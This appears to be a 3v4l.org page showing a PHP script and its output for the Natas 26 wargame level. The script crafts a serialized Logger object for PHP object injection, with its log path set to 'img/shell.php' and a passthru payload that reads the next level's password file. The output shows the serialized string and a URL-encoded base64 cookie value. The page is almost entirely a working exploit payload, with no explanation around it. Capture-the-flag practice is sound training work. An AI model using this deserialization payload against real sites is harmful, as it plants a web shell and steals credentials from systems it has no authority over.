3v4l.org

run code in 300+ PHP versions simultaneously
<?php class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ // initialise variables $this->initMsg="the answer is <? passthru('cat /etc/natas_webpass/natas27'); ?>\n\n"; $this->exitMsg="the answer is <? passthru('cat /etc/natas_webpass/natas27' ); ?>\n"; $this->logFile = "img/shell.php"; } function log($msg){ ; } function __destruct(){ ; } } $obj = new Logger("hello"); echo serialize($obj); echo "\nbase64_encoded:\n\n"; echo urlencode(base64_encode(serialize($obj))); ?>
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.6 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.7
O:6:"Logger":3:{s:15:"LoggerlogFile";s:13:"img/shell.php";s:15:"LoggerinitMsg";s:65:"the answer is <? passthru('cat /etc/natas_webpass/natas27'); ?> ";s:15:"LoggerexitMsg";s:68:"the answer is <? passthru('cat /etc/natas_webpass/natas27' ); ?> ";} base64_encoded: Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL3NoZWxsLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjY1OiJ0aGUgYW5zd2VyIGlzIDw%2FIHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjY4OiJ0aGUgYW5zd2VyIGlzIDw%2FIHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnICAgICk7ID8%2BCiI7fQ%3D%3D

preferences:
161.44 ms | 405 KiB | 172 Q